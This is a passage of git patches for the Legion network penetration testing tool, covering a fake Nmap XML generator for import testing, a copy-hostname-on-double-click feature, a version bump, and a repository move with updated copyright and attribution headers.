generated_hostnames = set() + + # Function to create unique random hostnames + def generate_hostname(): + while True: + parts = [choice(colors), choice(foods), choice(cities), choice(verbs)] + hostname = '.'.join(parts) + # Ensure uniqueness by appending a number if needed + if hostname not in generated_hostnames: + generated_hostnames.add(hostname) + return hostname + else: + hostname += str(randint(0, 9999)) + if hostname not in generated_hostnames: + generated_hostnames.add(hostname) + return hostname + # Function to create a random IP address within the extended subnet range def random_ip(base_subnet, host_number): subnet_third_octet = host_number // 254 host_fourth_octet = host_number % 254 + 1 return f"{base_subnet}.{subnet_third_octet}.{host_fourth_octet}" - # Generating hosts with updated IP address method + # Generating hosts with updated IP address and hostname method for i in range(num_hosts): host_os = choice(list(os_services.keys())) host = ET.Element("host") ET.SubElement(host, "status", {"state": "up", "reason": "arp-response", "reason_ttl": "0"}) ET.SubElement(host, "address", {"addr": random_ip(base_subnet, i), "addrtype": "ipv4"}) - ET.SubElement(host, "hostnames") + + # Hostnames + hostnames = ET.SubElement(host, "hostnames") + num_hostnames = randint(1, 3) # Random number of hostnames per host + for _ in range(num_hostnames): + ET.SubElement(hostnames, "hostname", {"name": generate_hostname(), "type": "user"}) # Ports ports = ET.SubElement(host, "ports") @@ -135,7 +164,7 @@ def random_ip(base_subnet, host_number): xml_str = xml_header + '\n' + ET.tostring(nmaprun, encoding='unicode', method='xml') return xml_str -def save_nmap_xml(filename, num_hosts=1000, base_subnet="172.16"): +def save_nmap_xml(filename, num_hosts=200, base_subnet="172.16"): # Generate the XML content xml_content = generate_nmap_xml(num_hosts, base_subnet) diff --git a/controller/controller.py b/controller/controller.py index 453f7011..0b33214d 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -236,6 +236,9 @@ def closeProject(self): self.view.updateProcessesTableView() # clear process table self.logic.projectManager.closeProject(self.logic.activeProject) + def copyToClipboard(self, data): + clipboard = QtWidgets.QApplication.clipboard() + clipboard.setText(data) # Assuming item.text() contains the IP or hostname @timing def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scanMode, nmapOptions = []): diff --git a/debian/changelog b/debian/changelog index 85075016..1aeb8142 100644 --- a/debian/changelog +++ b/debian/changelog @@ -32,3 +32,12 @@ legion (0.4.2-0) UNRELEASED; urgency=medium * Fix typo in startLegion.sh -- Shane Scott Mon, 20 Nov 2023 12:50:55 -0600 + +legion (0.4.3-0) UNRELEASED; urgency=medium + + * Revise NMAP import process + * Fix import progress calculations + * Doubleckick to copy hostname (Linux only) + * Script to generate huge bogus NMAP XML imports for testing. + + -- Shane Scott Mon, 20 Nov 2023 19:17:00 -0600 diff --git a/debian/control b/debian/control index 304a99fd..30150457 100644 --- a/debian/control +++ b/debian/control @@ -4,7 +4,7 @@ Priority: optional Maintainer: GoVanguard Uploaders: Shane Scott Build-Depends: debhelper, python3, python3-requests -Standards-Version: 0.4.2 +Standards-Version: 0.4.3 Homepage: https://github.com/GoVanguard/Legion Package: legion diff --git a/ui/view.py b/ui/view.py index 35c58eb3..ccfa3075 100644 --- a/ui/view.py +++ b/ui/view.py @@ -192,6 +192,7 @@ def initTables(self): # this function prepares the default settings for each ta self.HostsTableModel.sort(3, Qt.SortOrder.DescendingOrder) # Connect the clicked signal of the HostsTableView to the hostTableClick() method self.ui.HostsTableView.clicked.connect(self.hostTableClick) + self.ui.HostsTableView.doubleClicked.connect(self.hostTableDoubleClick) ## @@ -580,6 +581,15 @@ def hostTableClick(self): def connectServiceNamesTableClick(self): self.ui.ServiceNamesTableView.clicked.connect(self.serviceNamesTableClick) + + def hostTableDoubleClick(self, index): + # Get the item from the model using the index + model = self.ui.HostsTableView.model() + row = index.row() + new_index = model.index(row, 3) + data = model.data(new_index, QtCore.Qt.ItemDataRole.DisplayRole) + if data: + self.controller.copyToClipboard(data) def serviceNamesTableClick(self): if self.ui.ServiceNamesTableView.selectionModel().selectedRows(): From 86ddbd7af9211425fbdf6c8fb1693b2ff08916f9 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 23 Oct 2024 11:10:35 -0500 Subject: [PATCH 449/450] Update details related to copyright, attribution, repo move, etc --- .travis.yml | 33 ------------------- CONTRIBUTING.md | 12 +++---- README.md | 22 ++++++++----- app/ApplicationInfo.py | 16 ++++----- app/ModelHelpers.py | 6 ++-- app/Project.py | 6 ++-- app/ProjectManager.py | 6 ++-- app/Screenshooter.py | 4 +-- app/actions/AbstractObservable.py | 6 ++-- app/actions/AbstractObserver.py | 6 ++-- .../AbstractUpdateProgressObservable.py | 6 ++-- .../AbstractUpdateProgressObserver.py | 6 ++-- .../UpdateProgressObservable.py | 6 ++-- app/auxiliary.py | 4 +-- app/http/isHttps.py | 6 ++-- app/importers/NmapImporter.py | 6 ++-- app/importers/PythonImporter.py | 6 ++-- app/logging/legionLog.py | 6 ++-- app/logic.py | 4 +-- app/settings.py | 4 +-- app/timing.py | 6 ++-- app/tools/ToolCoordinator.py | 6 ++-- app/tools/nmap/DefaultNmapExporter.py | 6 ++-- app/tools/nmap/NmapExporter.py | 6 ++-- app/tools/nmap/NmapHelpers.py | 6 ++-- app/tools/nmap/NmapPaths.py | 6 ++-- controller/controller.py | 4 +-- db/RepositoryContainer.py | 6 ++-- db/RepositoryFactory.py | 6 ++-- db/SqliteDbAdapter.py | 5 ++- db/database.py | 4 +-- db/entities/app.py | 6 ++-- db/entities/cve.py | 6 ++-- db/entities/host.py | 6 ++-- db/entities/l1script.py | 6 ++-- db/entities/nmapSession.py | 6 ++-- db/entities/note.py | 6 ++-- db/entities/os.py | 6 ++-- db/entities/port.py | 6 ++-- db/entities/process.py | 6 ++-- db/entities/processOutput.py | 6 ++-- db/entities/service.py | 6 ++-- db/filters.py | 6 ++-- db/postgresDbAdapter.py | 5 ++- db/repositories/CVERepository.py | 6 ++-- db/repositories/HostRepository.py | 6 ++-- db/repositories/NoteRepository.py | 6 ++-- db/repositories/PortRepository.py | 6 ++-- db/repositories/ProcessRepository.py | 6 ++-- db/repositories/ScriptRepository.py | 6 ++-- db/repositories/ServiceRepository.py | 6 ++-- db/validation.py | 6 ++-- debian/changelog | 8 ++--- debian/control | 6 ++-- debian/copyright | 6 ++-- debian/watch | 2 +- deps/detectScripts.sh | 2 +- docker/Dockerfile | 2 +- docker/Dockerfile.dev | 2 +- legion.py | 11 ++++--- parsers/CVE.py | 2 +- parsers/Host.py | 2 +- parsers/OS.py | 2 +- parsers/Parser.py | 2 +- parsers/Port.py | 2 +- parsers/Script.py | 2 +- parsers/Service.py | 2 +- parsers/Session.py | 2 +- parsers/examples/HostExample.py | 4 +-- parsers/examples/OsExample.py | 4 +-- parsers/examples/ParserExample.py | 4 +-- parsers/examples/ScriptExample.py | 4 +-- parsers/examples/ServiceExample.py | 4 +-- parsers/examples/SessionExample.py | 4 +-- precommit.sh | 2 +- .../test_UpdateProgressObservable.py | 6 ++-- tests/app/http/test_isHttps.py | 6 ++-- tests/app/shell/test_DefaultShell.py | 6 ++-- tests/app/test_ModelHelpers.py | 6 ++-- tests/app/test_ProjectManager.py | 6 ++-- tests/app/test_Timing.py | 6 ++-- .../tools/nmap/test_DefaultNmapExporter.py | 6 ++-- tests/app/tools/nmap/test_NmapHelpers.py | 6 ++-- tests/app/tools/test_ToolCoordinator.py | 6 ++-- tests/db/repositories/test_CVERepository.py | 6 ++-- tests/db/repositories/test_HostRepository.py | 6 ++-- tests/db/repositories/test_NoteRepository.py | 6 ++-- tests/db/repositories/test_PortRepository.py | 6 ++-- .../db/repositories/test_ProcessRepository.py | 6 ++-- .../db/repositories/test_ServiceRepository.py | 6 ++-- tests/db/test_filters.py | 6 ++-- tests/db/test_validation.py | 6 ++-- tests/parsers/test_Parser.py | 6 ++-- .../test_QtUpdateProgressObserver.py | 6 ++-- tests/ui/test_eventfilter.py | 6 ++-- ui/ViewHeaders.py | 6 ++-- ui/ViewState.py | 6 ++-- ui/addHostDialog.py | 4 +-- ui/ancillaryDialog.py | 4 +-- ui/configDialog.py | 4 +-- ui/dialogs.py | 4 +-- ui/eventfilter.py | 4 +-- ui/gui.py | 4 +-- ui/helpDialog.py | 4 +-- ui/models/cvemodels.py | 4 +-- ui/models/hostmodels.py | 4 +-- ui/models/processmodels.py | 4 +-- ui/models/scriptmodels.py | 4 +-- ui/models/servicemodels.py | 4 +-- ui/observers/QtUpdateProgressObserver.py | 6 ++-- ui/settingsDialog.py | 4 +-- ui/view.py | 4 +-- 112 files changed, 303 insertions(+), 329 deletions(-) delete mode 100644 .travis.yml diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index a4806b32..00000000 --- a/.travis.yml +++ /dev/null @@ -1,33 +0,0 @@ -env: - global: - - COMMIT=${TRAVIS_COMMIT::8} - -language: python - -sudo: true - -python: - - 3.6.9 - -cache: pip - -install: - - cp ./requirements.txt ./deps/ - - bash ./deps/installPythonLibs.sh - -script: - - flake8 - - python -m unittest - -after_success: - - (test $TRAVIS_PULL_REQUEST != "false") && exit 0 - - (test $TRAVIS_BRANCH != "master" && test $TRAVIS_BRANCH != "development") && exit 0 - - cd ./docker/ - - echo "$DOCKER_PASS" | docker login --username $DOCKER_USER --password-stdin - - export REPO=gvit/legion - - docker build -f Dockerfile -t $REPO:$COMMIT . --no-cache - - docker tag $REPO:$COMMIT $REPO:travis-$TRAVIS_BUILD_NUMBER - - test $TRAVIS_BRANCH = "master" && docker tag $REPO:$COMMIT $REPO:latest - - test $TRAVIS_BRANCH = "master" && docker push gvit/legion:latest - - test $TRAVIS_BRANCH = "development" && docker tag $REPO:$COMMIT $REPO:development - - test $TRAVIS_BRANCH = "development" && docker push gvit/legion:development diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 4893d3f3..b071be60 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -7,16 +7,16 @@ making contributions to the project. We ask that you also follow our contributor #### Did you find a bug? * Awesome. First, ensure that your bug isn't a duplicate by checking - the [Issues](https://github.com/GoVanguard/legion/issues). **If the issue already exists**, go ahead and comment on + the [Issues](https://github.com/Hackman238/legion/issues). **If the issue already exists**, go ahead and comment on the issue with your bug report information, following the guidelines below as if you were reporting a new issue - just don't make a new issue. -* **If you can't find the issue**, its time to [open a new issue](https://github.com/GoVanguard/legion/issues/new). Fill +* **If you can't find the issue**, its time to [open a new issue](https://github.com/Hackman238/legion/issues/new). Fill in the issue with a clear title and description. Where possible, include steps to reproduce the bug, code samples, and screenshots. Tag the issue if it fits into one of our existing categories. #### Did you patch a bug? -* Excellent - your first steps are to open a new [Pull Request](https://github.com/GoVanguard/legion/pulls) with your +* Excellent - your first steps are to open a new [Pull Request](https://github.com/Hackman238/legion/pulls) with your patch. Be prepared to answer questions or receive feedback from the team. * Ensure the PR has a description that clearly details the problem and your solution. Be sure to include issue numbers if possible. @@ -24,16 +24,16 @@ making contributions to the project. We ask that you also follow our contributor #### Do you want to add a feature? -* We love new features! Please [make an issue](https://github.com/GoVanguard/legion/issues/new) for discussion, with a +* We love new features! Please [make an issue](https://github.com/Hackman238/legion/issues/new) for discussion, with a clear title and description of the proposed feature. Add the Proposal tag, and use the comments to follow up with the team. * Wait for a response and approval to your proposal before working on your patch and submitting a PR. This way, if we find any problems with the proposal, and discuss remediation before work gets wasted. -* Once your feature is complete, all you need to do is [submit a PR](https://github.com/GoVanguard/legion/pulls). +* Once your feature is complete, all you need to do is [submit a PR](https://github.com/Hackman238/legion/pulls). #### Do you have a general question? -* If you have any questions not related to legion's code, features, or bugs use support@govanguard.com +* If you have any questions not related to legion's code, features, or bugs use legion@shanewilliamscott.com #### Code of Conduct diff --git a/README.md b/README.md index 9221784d..e6b312a8 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,10 @@ -![alt tag](https://github.com/GoVanguard/legion/blob/master/images/LegionBanner.png) +## NOTICE + +This is the new home of "Legion". A major release will follow very soon! + +## + +![alt tag](https://github.com/Hackman238/legion/blob/master/images/LegionBanner.png) ## ✨ About @@ -114,7 +120,7 @@ and granting Docker group SSH rights [here](#setup-docker-to-allow-non-root-user Within Terminal: ```shell -git clone https://github.com/GoVanguard/legion.git +git clone https://github.com/Hackman238/legion.git cd legion/docker chmod +x runIt.sh ./runIt.sh @@ -129,7 +135,7 @@ Replace `X.X.X.X` with the IP address of the remote running X11. Within Terminal: ```shell -git clone https://github.com/GoVanguard/legion.git +git clone https://github.com/Hackman238/legion.git cd legion/docker chmod +x runIt.sh ./runIt.sh X.X.X.X @@ -152,7 +158,7 @@ log and see IP next to "XdmcpRegisterConnection: newAddress" Within Terminal: ```shell -git clone https://github.com/GoVanguard/legion.git +git clone https://github.com/Hackman238/legion.git cd legion/docker sudo chmod +x runIt.sh sudo ./runIt.sh X.X.X.X @@ -251,7 +257,7 @@ Assumes Ubuntu, Kali or Parrot Linux is being used with **Python 3.6** installed Within Terminal: ```shell -git clone https://github.com/GoVanguard/legion.git +git clone https://github.com/Hackman238/legion.git cd legion sudo chmod +x startLegion.sh sudo ./startLegion.sh @@ -281,16 +287,16 @@ sudoedit /root/.local/share/legion/legion.conf ## ⚖️ License Legion is licensed under the GNU General Public License v3.0. Take a look at the -[LICENSE](https://github.com/GoVanguard/legion/blob/master/LICENSE) for more information. +[LICENSE](https://github.com/Hackman238/legion/blob/master/LICENSE) for more information. ## ⭐️ Attribution * Refactored Python 3.6+ codebase, added feature set and ongoing development of Legion is credited - to [GoVanguard](https://govanguard.com) + to [Hackman238] & [sscottgvit] (Shane Scott) * The initial Sparta Python 2.7 codebase and application design is credited SECFORCE. * Several additional PortActions, PortTerminalActions and SchedulerSettings are credited to batmancrew. * The nmap XML output parsing engine was largely based on code by yunshu, modified by ketchup and modified SECFORCE. * ms08-067_check script used by `smbenum.sh` is credited to Bernardo Damele A.G. * Legion relies heavily on nmap, hydra, python, PyQt, SQLAlchemy and many other tools and technologies, so we would like to thank all of the people involved in the creation of those. -* Special thanks to Dmitriy Dubson for his continued contributions to the project! +* Special thanks to Dmitriy Dubson [ddubson] for his continued contributions to the project! diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index c4eb6a6a..f9254306 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,18 +13,18 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ applicationInfo = { "name": "LEGION", "version": "0.4.3", - "build": '1700529501', - "author": "Gotham Security", - "copyright": "2023", - "links": ["http://github.com/GoVanguard/legion/issues", "https://gotham-security.com/legion"], + "build": '1729699482', + "author": "Shane Scott", + "copyright": "2024", + "links": ["http://github.com/Hackman238/legion/issues"], "emails": [], - "update": '11/20/2023', + "update": '10/23/2024', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/app/ModelHelpers.py b/app/ModelHelpers.py index 460f3ec7..1b741707 100644 --- a/app/ModelHelpers.py +++ b/app/ModelHelpers.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2019 GoVanguard +LEGION (https://shanewilliamscott.com) +Copyright (c) 2019 Hackman238 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from PyQt6 import QtCore diff --git a/app/Project.py b/app/Project.py index 6e7e8729..857829f1 100644 --- a/app/Project.py +++ b/app/Project.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from typing import NamedTuple diff --git a/app/ProjectManager.py b/app/ProjectManager.py index 107b6f42..3f75dbe8 100644 --- a/app/ProjectManager.py +++ b/app/ProjectManager.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import ntpath import os diff --git a/app/Screenshooter.py b/app/Screenshooter.py index b2a25e70..7cce0a74 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/AbstractObservable.py b/app/actions/AbstractObservable.py index 4d02a098..eaa5b7d1 100644 --- a/app/actions/AbstractObservable.py +++ b/app/actions/AbstractObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from abc import ABC from typing import List diff --git a/app/actions/AbstractObserver.py b/app/actions/AbstractObserver.py index 46b3dce6..2904306e 100644 --- a/app/actions/AbstractObserver.py +++ b/app/actions/AbstractObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from abc import ABC diff --git a/app/actions/updateProgress/AbstractUpdateProgressObservable.py b/app/actions/updateProgress/AbstractUpdateProgressObservable.py index 5bac54a4..0bf48461 100644 --- a/app/actions/updateProgress/AbstractUpdateProgressObservable.py +++ b/app/actions/updateProgress/AbstractUpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from abc import abstractmethod diff --git a/app/actions/updateProgress/AbstractUpdateProgressObserver.py b/app/actions/updateProgress/AbstractUpdateProgressObserver.py index 9d9d750f..5d50bdf7 100644 --- a/app/actions/updateProgress/AbstractUpdateProgressObserver.py +++ b/app/actions/updateProgress/AbstractUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from abc import abstractmethod diff --git a/app/actions/updateProgress/UpdateProgressObservable.py b/app/actions/updateProgress/UpdateProgressObservable.py index d1d77faf..1ed96f73 100644 --- a/app/actions/updateProgress/UpdateProgressObservable.py +++ b/app/actions/updateProgress/UpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.actions.updateProgress.AbstractUpdateProgressObservable import AbstractUpdateProgressObservable diff --git a/app/auxiliary.py b/app/auxiliary.py index 132ac110..b5cab4df 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/http/isHttps.py b/app/http/isHttps.py index 63b1662f..3f4b5192 100644 --- a/app/http/isHttps.py +++ b/app/http/isHttps.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import ssl diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index da906fc8..0abf4c19 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import sys diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py index a1074780..fdca084a 100644 --- a/app/importers/PythonImporter.py +++ b/app/importers/PythonImporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from PyQt6 import QtCore diff --git a/app/logging/legionLog.py b/app/logging/legionLog.py index 5e4432d1..2932800a 100644 --- a/app/logging/legionLog.py +++ b/app/logging/legionLog.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import os import logging diff --git a/app/logic.py b/app/logic.py index 84cf0cee..3ea59c70 100644 --- a/app/logic.py +++ b/app/logic.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/settings.py b/app/settings.py index f6c1014d..c4a7083d 100644 --- a/app/settings.py +++ b/app/settings.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/timing.py b/app/timing.py index 1f4089de..23eea809 100644 --- a/app/timing.py +++ b/app/timing.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from datetime import datetime from functools import wraps diff --git a/app/tools/ToolCoordinator.py b/app/tools/ToolCoordinator.py index 91a48ce4..8dde4f2a 100644 --- a/app/tools/ToolCoordinator.py +++ b/app/tools/ToolCoordinator.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import ntpath diff --git a/app/tools/nmap/DefaultNmapExporter.py b/app/tools/nmap/DefaultNmapExporter.py index 88cf72fd..c1e3f166 100644 --- a/app/tools/nmap/DefaultNmapExporter.py +++ b/app/tools/nmap/DefaultNmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import subprocess from logging import Logger diff --git a/app/tools/nmap/NmapExporter.py b/app/tools/nmap/NmapExporter.py index 84c35149..3d47ae15 100644 --- a/app/tools/nmap/NmapExporter.py +++ b/app/tools/nmap/NmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from abc import ABC diff --git a/app/tools/nmap/NmapHelpers.py 